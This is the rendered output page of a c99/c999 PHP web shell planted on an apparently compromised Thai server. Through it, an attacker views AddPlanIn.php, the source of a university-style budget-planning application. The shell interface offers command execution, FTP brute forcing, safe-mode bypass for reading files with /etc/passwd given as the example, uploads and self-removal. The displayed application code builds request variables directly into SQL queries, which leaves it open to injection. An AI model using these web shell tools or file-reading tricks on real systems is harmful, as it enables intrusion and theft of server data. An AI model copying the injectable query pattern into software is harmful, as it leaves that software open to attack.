!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/plan/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddPlanIn.php (19.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../includes/Function.php" );

        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
$Username $valid_user;

        
/**  Config Table for This Page  */
        
$myTable "project_type_tb";
        
$myTable2 "faculty_tb";
        
        
//$Budget_use = $_REQUEST['Budget_use'];
        //echo $Budget_use;
        
        //===  salary_repot_tb
        
$query " SELECT *  FROM $myTable  WHERE ProjectId='$ProjectId'  AND  Faculty_code='$Faculty_code'  AND  Budget_Year='$Budget_Year' ";
        
$result $dbObj->execQuery($query);
        
$rs $dbObj->fetchArray($result);
        
        
$db_Budget_use $rs['Budget_use'];
        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script type="text/javascript" src="../js/ajaxScript.js"></script>
<script language="javascript">
function checkData() {
var formObj = document.myForm;
    if( ( formObj.Training_name.value == "" ) && ( formObj.Ind.value == "" ) && ( formObj.Date_start.value == "" ) && ( formObj.Budget_use.value == "" ) ) { alert("กรุณากรอกข้อมูลให้ครบด้วยค่ะ" ); formObj.Training_name.style.backgroundColor='#F1F9FC'; formObj.Training_name.focus(); return false; }
    else if( formObj.Date_start.value == "" ) { alert("กรุณากรอก วัน/เดือน/ปี ที่ดำเนินการ"); formObj.Date_start.style.backgroundColor='#F1F9FC'; formObj.Date_start.focus(); return false; }
    else if( formObj.Budget_use.value == "" ) { alert("กรุณากรอก จำนวนเงินที่ใช้"); formObj.Budget_use.style.backgroundColor='#F1F9FC'; formObj.Budget_use.focus(); return false; }
    else if( formObj.Training_name.value == "" ) { alert("กรุณากรอก รายละเอียดของแผนดำเนินการ"); formObj.Training_name.style.backgroundColor='#F1F9FC'; formObj.Training_name.focus(); return false; } 
    else return true ;
}
</script>

<script language="JavaScript">
       var HttPRequest = false;

       function doCallAjax() {
          HttPRequest = false;
          if (window.XMLHttpRequest) { // Mozilla, Safari,...
             HttPRequest = new XMLHttpRequest();
             if (HttPRequest.overrideMimeType) {
                HttPRequest.overrideMimeType('text/html');
             }
          } else if (window.ActiveXObject) { // IE
             try {
                HttPRequest = new ActiveXObject("Msxml2.XMLHTTP");
             } catch (e) {
                try {
                   HttPRequest = new ActiveXObject("Microsoft.XMLHTTP");
                } catch (e) {}
             }
          } 
          
          if (!HttPRequest) {
             alert('Cannot create XMLHTTP instance');
             return false;
          }
    
            var url = 'AjaxAddPlanIn2.php';
            //var pmeters = 'Budget_use='+document.getElementById("Budget_use").value;
            var pmeters = 'Budget_use='+document.getElementById("Budget_use").value+'&ProjectId=<?=$ProjectId;?>&Faculty_code=<?=$Faculty_code;?>&Budget_Year=<?=$Budget_Year;?>'; // 2 Parameters
            HttPRequest.open('POST',url,true);

            HttPRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            HttPRequest.setRequestHeader("Content-length", pmeters.length);
            HttPRequest.setRequestHeader("Connection", "close");
            HttPRequest.send(pmeters);
            
            
            HttPRequest.onreadystatechange = function()
            {

                 if(HttPRequest.readyState == 3)  // Loading Request
                  {
                   document.getElementById("mySpan").innerHTML = "Now is Loading...";
                  }

                 if(HttPRequest.readyState == 4) // Return Request
                  {
                   document.getElementById("mySpan").innerHTML = HttPRequest.responseText;
                  }
                
            }

            /*
            HttPRequest.onreadystatechange = call function .... // Call other function
            */

       }
</script>    

<title>ข้อมูลแผนดำเนินงานและรายงาน : ข้อมูลแผนดำเนินการ รายปีงบประมาณ - เพิ่มข้อมูลแผน/โครงการรดำเนินงาน (ย่อย)</title>
<style type="text/css">
<!--
.style11 {font-size: 14px; color: #000000; }
.style7 {font-size: 14px}
-->
</style>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset><table width="780" border="0" cellspacing="0" cellpadding="0">
      <form id="myForm" name="myForm" method="post" action="InsertPlaningIn.php" onSubmit="return checkData();">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>&raquo; <a href="DetailRepPlaning.php?ProjectId=<?php echo $rs['ProjectId']; ?>&amp;Orderlist=<?php echo $rs['Orderlist']; ?>&amp;Project_code=<?php echo $rs['Project_code']; ?>&amp;Faculty_code=<?=$rs['Faculty_code'];?>&amp;Budget_Year=<?php echo $rs['Budget_Year']; ?>">รายงานการใช้เงินตามปฏิบัติการ</a> &raquo; <span class="NOTE">เพิ่มการใช้เงินตามแผนปฏิบัติการ</span></strong></td>
      </tr>
      <tr>
        <td><table width="89%" border="0" align="center" cellpadding="0" cellspacing="0">
          <tr>
            <td class="PADDING-TOP-10 PADDING-BOTTOM-10"><img src="../images/icons/arrow-circle-225-left.png" width="16" height="16" border="0" align="absmiddle" /> <a href="javascript:;" onclick="window.history.back();"><strong>&lsaquo; ย้อนกลับ</strong></a></td>
            <td align="right" valign="bottom" class="PADDING-TOP-10 PADDING-BOTTOM-5">&nbsp;</td>
          </tr>
          <tr>
            <td width="50%" height="26" >&nbsp;</td>
            <td width="50%" align="right" valign="bottom" class="PADDING-TOP-10 ">&nbsp;</td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td height="350" align="center" valign="top"><table width="92%" border="0" align="center" cellpadding="0" cellspacing="0" style="border:1px solid #F0F0F0">
          
          <tr>
            <td width="17%" height="25" align="center">รหัสหน่วยงาน</td>
            <td width="1%">&nbsp;</td>
            <td width="82%" class="TEXT-DARK-BLUE10"><?php
            $Faculty_code 
$rs['Faculty_code'];
            
$query " SELECT * FROM faculty_tb  WHERE Faculty_code='$Faculty_code' ";
            
$result1 $dbObj->execQuery($query);
            
$rs1 $dbObj->fetchArray($result1);
                echo 
"$rs1[Faculty_code] - $rs1[Faculty_name]";
            
?></td>
          </tr>
          
          <tr>
            <td height="25" align="center">รหัสแผน</td>
            <td>&nbsp;</td>
            <td class="TEXT-DARK-BLUE10"><?php echo $rs['Orderlist']; ?></td>
          </tr>
          <tr>
            <td height="25" align="center">ชื่อโครงการ/กิจกรรม</td>
            <td>&nbsp;</td>
            <td class="TEXT-DARK-BLUE10"><?php echo htmlspecialchars_decodenl2br$rs['Project_plan'] ) ); ?></td>
          </tr>
          <tr>
            <td height="25" align="center">วัตถุประสงค์</td>
            <td>&nbsp;</td>
            <td class="TEXT-DARK-BLUE10"><?php echo htmlspecialchars_decodenl2br$rs['Orderlist_2'] ) ); ?></td>
          </tr>
          <tr>
            <td align="center" valign="top" style="padding-top:3px;"><span class="TEXT-RED10"><sup>*</sup></span> รายละเอียดของ<br />
              แผนดำเนินการ</td>
            <td>&nbsp;</td>
            <td style="padding-top:5px;"><label>
              <textarea name="Training_name" id="Training_name" cols="60" rows="3"></textarea>
            </label></td>
          </tr>
          
          <tr>
            <td align="center">หมวดเงิน</td>
            <td align="center">&nbsp;</td>
            <td height="25" align="left"><select name="MoneyS_C" id="MoneyS_C">
            <?php
                $MoneyS_C 
$rs['MoneyS_C'];    
                
                
$strSQL3 " SELECT * FROM money_source_tb  WHERE MoneyS_C='$MoneyS_C' ";
                
$result3 $dbObj->execQuery($strSQL3);
                
                while( 
$rs3 $dbObj->fetchArray($result3) ) {
                    echo 
"<option value=\"$rs3[MoneyS_C]\">$rs3[MoneyS_M]</option>\n";
                
                } 
            
?>
            </select></td>
          </tr>
          <tr>
            <td align="center">ประเภทหมวดค่าใช้จ่าย</td>
            <td align="center">&nbsp;</td>
            <td height="25" align="left"><select name="MoneyId" id="MoneyId">
             <?php
                     
            $strSQL5 
" SELECT * FROM money_tb ";
            
$result5 $dbObj->execQuery($strSQL5);  
            while( 
$rs5 $dbObj->fetchArray($result5) ) {
                echo 
"<option value=\"$rs5[MoneyId]\" ><b>$rs5[MoneyName]</b></option>\n";
            } 
            
?>
            </select></td>
          </tr>
          <tr>
            <td align="center">วันที่ดำเนินการ</td>
            <td align="center">&nbsp;</td>
            <td height="25" align="left">วันเริ่มต้น <span class="TEXT-DARK-BLUE10"><?php echo $rs['Date_start']; ?></span> &nbsp; วันสิ้นสุด <span class="TEXT-DARK-BLUE10"><?php echo $rs['Date_finish']; ?></span></td>
          </tr>
          <tr>
            <td align="center">ปีงบประมาณ</td>
            <td align="center">&nbsp;</td>
            <td height="25" align="left" class="TEXT-DARK-BLUE10"><?php echo $rs['Budget_Year']; ?></td>
          </tr>
          <tr>
            <td height="18" colspan="3" align="left"><span style="padding-top:13px">&nbsp;&nbsp;&nbsp;&nbsp;จำนวนเงินที่ตั้ง
งบประมาณรายเดือน</span></td>
            </tr>          
          <tr>
            <td height="25" colspan="3" align="right" valign="top" style="padding-top:13px"><table width="85%" border="0" align="center" cellpadding="1" cellspacing="1">
              <tr bgcolor="#F8F8F8">
                <td width="16%" align="right" bgcolor="#FFFFFF"><a>มกราคม</a> </td>
                <td width="13%" align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-10 TEXT-DARK-BLUE10"><a><?php echo number_format$rs['January'],2,'.',',' ); ?></a></td>
                <td width="12%" align="right" bgcolor="#FFFFFF"><a>กรฏาคม</a></td>
                <td width="59%" align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-10 TEXT-DARK-BLUE10"><a><?php echo $rs['July']; ?></a></td>
                </tr>
              <tr bgcolor="#F8F8F8">
                <td align="right" bgcolor="#FFFFFF"><a>กุมภาพันธ์</a> </td>
                <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-10 TEXT-DARK-BLUE10"><a><?php echo $rs['February']; ?></a></td>
                <td align="right" bgcolor="#FFFFFF"><a>สิงหาคม</a></td>
                <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-10 TEXT-DARK-BLUE10"><a><?php echo $rs['Augus']; ?></a></td>
                </tr>
              <tr bgcolor="#F8F8F8">
                <td align="right" bgcolor="#FFFFFF"><a>มีนาคม</a></td>
                <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-10 TEXT-DARK-BLUE10"><a><?php echo $rs['March']; ?></a></td>
                <td align="right" bgcolor="#FFFFFF"><a>กันยายน</a></td>
                <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-10 TEXT-DARK-BLUE10"><a><?php echo $rs['September']; ?></a></td>
                </tr>
              <tr bgcolor="#F8F8F8">
                <td align="right" bgcolor="#FFFFFF"><a>เมษายน</a></td>
                <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-10 TEXT-DARK-BLUE10"><a><?php echo $rs['April']; ?></a></td>
                <td align="right" bgcolor="#FFFFFF"><a>ตุลาคม</a></td>
                <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-10 TEXT-DARK-BLUE10"><a><?php echo $rs['October']; ?></a></td>
                </tr>
              <tr bgcolor="#F8F8F8">
                <td align="right" bgcolor="#FFFFFF"><a>พฤษภาคม</a></td>
                <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-10 TEXT-DARK-BLUE10"><a><?php echo $rs['May']; ?></a></td>
                <td align="right" bgcolor="#FFFFFF"><a>พฤศจิกายน</strong></td>
                <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-10 TEXT-DARK-BLUE10"><a><?php echo $rs['November']; ?></a></td>
                </tr>
              <tr bgcolor="#F8F8F8">
                <td align="right" bgcolor="#FFFFFF"><a>มิถุนายน</a></td>
                <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-10 TEXT-DARK-BLUE10"><a><?php echo $rs['June']; ?></a></td>
                <td align="right" bgcolor="#FFFFFF"><a>ธันวาคม</a></td>
                <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-10 TEXT-DARK-BLUE10"><a><?php echo $rs['December']; ?></a></td>
                </tr>
            </table>
              <table width="85%" border="0" align="center" cellpadding="0" cellspacing="0">
                <tr>
                  <td height="25" align="left" style="padding-left:103px"><font face="Tahoma">จำนวนเงินทั้งหมดที่ใช้ตามแผน</font>
                    <input name="Budget_use4" type="text" id="Budget_use4" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?php
                  $sql 
" SELECT SUM(Budget_use) AS SumB1  FROM project_tb  WHERE  ProjectId='$rs[ProjectId]' "  
                 
$result11 mysql_query($sql);
                   
$rs11 mysql_fetch_array($result11);
                   echo 
number_format($rs11['SumB1'],2,'.',','); ?> " size="10" />บาท</font></td>
                  </tr>
                <tr>
                  <td height="25" align="left" style="padding-left:103px"><font face="Tahoma">จำนวนเงินทั้งหมดที่ตั้งไว้ตามแผน</font>
                    <input name="Budget_total" type="text" id="Budget_total" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?php       
                  $sql 
" SELECT * FROM project_type_tb  WHERE ProjectId='$rs[ProjectId]' "  
                  
$result22 mysql_query($sql);
                 
$rs22 mysql_fetch_array($result22);
                  echo 
number_format($rs22['Budget_total'],2,'.',','); 
                
?> " size="10" />บาท </font></td>
                  </tr>
                <tr>
                  <td height="25" align="left" style="padding-left:103px"><font face="Tahoma">คงเหลือเงินทั้งหมดตามแผน</font>
                    <input name="Budget_use3" type="text" id="Budget_use3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?    
                  $Sum3 
$rs22['Budget_total'] - $rs11['SumB1'] ;
              echo 
number_format($Sum3,2,'.',','); ?> " size="10" />
                    บาท </font></font></td>
                  </tr>
              </table></td>
            </tr>
          <tr>
            <td align="right">&nbsp;</td>
            <td align="center">&nbsp;</td>
            <td height="25" align="left">&nbsp;</td>
          </tr>
          <tr>
            <td align="right">ผู้ใช้เงิน</td>
            <td align="center">&nbsp;</td>
            <td height="25" align="left"><span style="padding-top:15px;">
              <select name="Teacher_code" id="Teacher_code">
                <option value=""></option>
                <?php
                  $sql1 
" SELECT *  FROM personal_tb  WHERE StatusId='1'    ORDER BY  Teacher_name  ASC ";
                  
$result1 mysql_query($sql1);
                  while( 
$rs1 mysql_fetch_array($result1) ) {
                
?>
                <option value="<?=$rs1['Teacher_code'];?><?php if( $rs1['Teacher_code']==$rs['Teacher_code'] ) echo 'selected';?>>
                <?=$rs1['First_name'];?>
                <?=$rs1['Teacher_name'];?>
  &nbsp;
  <?=$rs1['Teacher_lastname'];?>
                </option>
                <?php
                
# while
                  
mysql_free_result($result1);
              
?>
              </select>
            </span></td>
          </tr>
          
          <tr>
            <td align="right"><span class="TEXT-RED10"><sup>*</sup></span> วัน/เดือน/ปี<br /> 
              (ที่ดำเนินการ)</td>
            <td align="center">&nbsp;</td>
            <td height="25" align="left"><input name="Date" type="text" id="Date" size="10" style="text-align:center" />
              <script type="text/javascript" src="../includes/popcalendar.js"></script>
            <script language='JavaScript'>
                if (!document.layers) {      
                    document.write("<img src='../images/ew_calendar.gif' width='16' height='15' style='cursor:hand;' onclick='popUpCalendar(this, myForm.Date, \"yyyy-mm-dd\")'>")
                }
            </script> <span class="TEXT-ORANGE9">&lt;-- คลิ๊กที่นี่</span></td>
          </tr>
          <tr>
            <td align="right"><span class="TEXT-RED10"><sup>*</sup></span> จำนวนเงินที่ใช้</td>
            <td align="center">&nbsp;</td>
            <td height="25" align="left"><input name="Budget_use" type="text" id="Budget_use" size="8" style="text-align:center" onkeypress="return checkNumeric();"  onkeyup="checkBudget()"/>  บาท<span id="budgetOver"></span></td>
          </tr>
          <tr>
            <td align="center">&nbsp;</td>
            <td align="center">&nbsp;</td>
            <td height="25" align="left">&nbsp;</td>
          </tr>
          <tr>
            <td height="29" align="center">&nbsp;</td>
            <td height="29" align="center">&nbsp;</td>
            <td height="29" align="left"><input name="ProjectId" type="hidden" id="ProjectId" value="<?php echo $rs['ProjectId']; ?>" />
              <input name="Project_code" type="hidden" id="Project_code" value="<?php echo $rs['Project_code']; ?>" />
              <input name="Faculty_code" type="hidden" id="Faculty_code" value="<?php echo $rs['Faculty_code']; ?>" />
              <input name="Orderlist" type="hidden" id="Orderlist" value="<?php echo $rs['Orderlist']; ?>" />
              <input name="Project_plan" type="hidden" id="Project_plan" value="<? echo $rs['Project_plan']; ?>" />
              <input name="Budget_Year" type="hidden" id="Budget_Year" value="<? echo $rs['Budget_Year']; ?>" />
             <span id="submitBtn"><input name="Submit" type="submit" class="WIDTH60 CURSOR-HAND" value="บันทึก"  disabled/></span>
              &nbsp;
                  <input name="Reset" type="reset" class="WIDTH60 CURSOR-HAND" value="รีเซ็ต"  onclick="checkBudgetReset()"/>
  &nbsp;
              &nbsp;
              <input name="Button" type="button" value="ยกเลิก" class="WIDTH60 CURSOR-HAND" onclick="location.href='EditPlaningList.php?Budget_Year=<?=$Budget_Year;?>&amp;Faculty_code=<?=$Faculty_code;?>&amp;Project_code=<?=$rs["Project_code"];?>'" /></td>
          </tr>
          <tr>
            <td align="center">&nbsp;</td>
            <td align="center">&nbsp;</td>
            <td align="left">&nbsp;</td>
          </tr>
       </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.012 ]--